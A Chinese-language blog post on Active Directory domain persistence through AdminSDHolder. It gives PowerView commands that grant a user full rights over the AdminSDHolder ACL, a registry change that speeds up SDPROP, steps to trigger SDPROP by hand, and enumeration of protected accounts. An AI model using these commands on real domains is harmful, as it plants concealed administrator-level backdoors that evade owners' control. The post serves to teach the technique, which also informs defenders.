技术分享 | 域渗透AdminSDHolder

AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板。Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改...

AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板。Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的。

本文由锦行科技的安全研究团队提供,旨在从攻击者的视角还原AdminSDHolder的渗透过程。



配置

1、添加:

在域控上操作AdminSDHolder对象的ACL

添加用户test对AdminSDHolder的完全访问权限

powerview:

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity test -Rights All

*由于SDPROP的原因,默认等待60分钟之后生效


2、验证:

Powerview:

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-363618500-3918876104-3124729890-1139"} | select objectdn,ActiveDirectoryRights |sort -Unique


ADSI:


3、删除:

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com" -PrincipalIdentity test -Rights All -Verbose


SUPROP

为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。当修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。


1、注册表SDPROP运营频率:?

修改成等待60秒

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60


2、手动触发SDPROP进程:?

运行->LDP.exe->菜单>连接->连接->服务器输入当前的机器名,端口默认为389

然后连接->绑定凭证->作为当前登录的用户绑定->然后浏览->修改,在属性选项卡中输入FixUpInheritance。在值字段中输入Yes。操作选择添加,然后单击输入,最后运行即可,运行。



利用场景

已经获得域控权限,利用AdminSDHolder来进行权限维持,或者寻找受保护AD账户为目标。


枚举受保护AD账户

Get-NetUser -AdminCount |select samaccountname


登录test用户,可以看到test非域管组,却能执行域管权限的命令。

  • 发表于 2021-04-20 15:28
  • 阅读 ( 192 )
  • 分类:互联网

0 条评论

请先 登录 后评论
q2603
q2603

740 篇文章

你可能感兴趣的文章

相关问题